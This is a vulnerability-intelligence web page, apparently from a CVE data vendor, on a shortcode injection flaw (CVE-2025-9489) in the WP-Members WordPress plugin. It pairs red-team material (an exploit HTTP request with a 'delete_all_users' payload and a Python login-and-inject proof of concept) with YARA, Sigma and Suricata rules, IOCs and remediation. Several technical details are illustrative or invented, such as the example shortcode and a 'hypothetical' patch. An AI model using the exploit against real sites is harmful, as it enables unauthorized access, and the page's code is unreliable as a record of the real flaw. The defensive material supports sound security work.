☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N 🐛 CWE-94
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9489

CVE-2025-9489 Privilege Escalation in Wp-members
📅 PUBLISHED: 2025-09-09 04:25 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
5.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9489 is a critical arbitrary shortcode execution vulnerability discovered in the WP-Members Membership Plugin for WordPress. This flaw affects all versions up to and including 3.5.4.2. The vulnerability stems from insufficient input validation before executing the do_shortcode() function, allowing authenticated attackers with Subscriber-level access or higher to execute arbitrary WordPress shortcodes. Successful exploitation can lead to unauthorized data access, privilege escalation, or site defacement. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem and does not involve Apache or Nginx server software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The WP-Members plugin is distributed via the official WordPress Plugin Directory and is not available through NPM, PyPI, Go, or Ruby package managers. Organizations should verify plugin integrity by checking checksums from the WordPress Plugin Directory and monitoring for unauthorized plugin modifications.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.0 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) - Subscriber-level access
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the low attack complexity and low privilege requirements make this a practical target for authenticated attackers. The ability to execute arbitrary shortcodes can be chained with other vulnerabilities for more severe impacts.

Deep Dive & Mechanics

The vulnerability resides in the WP-Members plugin's handling of user-supplied values that are passed to the do_shortcode() function. The plugin fails to properly validate or sanitize input before executing shortcodes, allowing authenticated users to inject arbitrary shortcode syntax.

Root Cause: The plugin uses do_shortcode() on user-controlled data without adequate validation. WordPress shortcodes can execute PHP functions, query the database, or perform other actions depending on the shortcode definition.

Attack Vector: An authenticated attacker with Subscriber-level access can craft a request containing malicious shortcode syntax. For example, a shortcode like [wp-members-arbitrary action="do_something"] could be injected into a field that the plugin processes with do_shortcode().

Impact: Arbitrary shortcode execution can lead to:

  • Reading sensitive data via shortcodes that output user meta or post content
  • Modifying user roles or metadata
  • Executing arbitrary SQL queries if a vulnerable shortcode is present
  • Site defacement or content injection

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.5.4.2):

// Example vulnerable pattern in wp-members plugin
function process_user_input($value) {
    // No validation before executing shortcode
    return do_shortcode($value);
}

Patched Code (Hypothetical):

function process_user_input($value) {
    // Validate and sanitize input before shortcode execution
    $allowed_shortcodes = array('wp-members-safe', 'another-safe');
    if (in_array($value, $allowed_shortcodes)) {
        return do_shortcode($value);
    }
    return esc_html($value);
}

Key Differences:

  • Vulnerable code lacks input validation
  • Patched code implements allowlisting of permitted shortcodes
  • Patched code uses esc_html() for non-allowed inputs

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress installation with WP-Members plugin <= 3.5.4.2
  • Authenticated user with Subscriber role
  • Network access to the WordPress site

Exploitation Steps:

  1. Identify vulnerable endpoint: Locate a form or AJAX handler that processes user input through do_shortcode(). Common targets include profile update fields or custom registration fields.

  2. Craft malicious request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=wp_members_update_profile&field_name=first_name&field_value=[wp-members-arbitrary+action="delete_all_users"]
  1. Execute shortcode: The injected shortcode [wp-members-arbitrary action="delete_all_users"] would be processed by do_shortcode(), potentially executing arbitrary plugin functionality.

Proof of Concept (PoC):

import requests

target_url = "http://target-site.com/wp-admin/admin-ajax.php"
session = requests.Session()

# Authenticate as subscriber
login_data = {
    "log": "attacker@example.com",
    "pwd": "password123",
    "wp-submit": "Log In",
    "redirect_to": "/wp-admin/",
    "testcookie": "1"
}
session.post(target_url.replace("admin-ajax.php", "wp-login.php"), data=login_data)

# Exploit
payload = "[wp-members-arbitrary action='get_admin_emails']"
exploit_data = {
    "action": "wp_members_update_profile",
    "field_name": "first_name",
    "field_value": payload
}
response = session.post(target_url, data=exploit_data)
print(response.text)

Blue Team

Detection Steps:

  1. Monitor for unusual shortcode patterns in user-submitted data
  2. Review WordPress debug logs for unexpected do_shortcode() calls
  3. Check for unauthorized user role changes or content modifications

Hunting Queries:

  • Search for do_shortcode calls in plugin files
  • Monitor for requests containing [wp-members patterns from subscriber accounts
  • Review database for unexpected shortcode strings in user meta fields

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests containing [wp-members in POST parameters
  • Unusual AJAX requests to admin-ajax.php with action=wp_members_update_profile
  • Requests from subscriber accounts to administrative endpoints

File System IOCs:

  • Modified plugin files in /wp-content/plugins/wp-members/
  • Unexpected shortcode definitions in WordPress options table
  • New user meta entries containing shortcode syntax

Log IOCs:

  • WordPress debug logs showing do_shortcode() calls with unexpected parameters
  • PHP error logs referencing shortcode execution failures
  • Web server access logs showing repeated POST requests to admin-ajax.php

Detection Engineering

YARA Rule

rule wp_members_shortcode_injection {
    meta:
        description = "Detects WP-Members plugin shortcode injection attempts"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-9489"
    strings:
        $shortcode_pattern = /\[wp-members[^\]]*\]/i
        $do_shortcode = "do_shortcode"
        $vulnerable_file = "wp-members.php"
    condition:
        $shortcode_pattern and $do_shortcode and $vulnerable_file
}

Sigma Rule

title: WP-Members Shortcode Injection Attempt
id: 8f7b3c2a-1d5e-4f6a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects attempts to exploit CVE-2025-9489 in WP-Members plugin
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=wp_members_update_profile'
        cs-uri-query|re: '\[wp-members[^\]]*\]'
    condition: selection
falsepositives:
    - Legitimate use of WP-Members shortcodes by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-9489 WP-Members Shortcode Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=wp_members_update_profile"; http_client_body;
    pcre:"/\[wp-members[^\]]*\]/i";
    reference:cve,2025-9489;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if no patch is available
  2. Restrict subscriber capabilities using a security plugin (e.g., Wordfence, Sucuri)
  3. Implement Web Application Firewall (WAF) rules to block shortcode injection patterns

Long-term Fixes:

  1. Apply vendor patch when released (monitor WP-Members changelog)
  2. Upgrade to patched version (currently unknown)
  3. Implement input validation for all user-submitted data processed by shortcodes

Workarounds:

  • Use a custom plugin to override the vulnerable function with a patched version
  • Add the following to wp-config.php to disable shortcode execution in user input:
add_filter('wp_members_shortcode_input', function($value) {
    return esc_html($value);
});

Monitoring:

  • Enable WordPress debug logging (WP_DEBUG_LOG)
  • Set up alerts for failed shortcode execution attempts
  • Regularly audit user capabilities and role assignments

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP-Members"
http.html:"wp-members"
http.html:"/wp-content/plugins/wp-members/

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9489/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.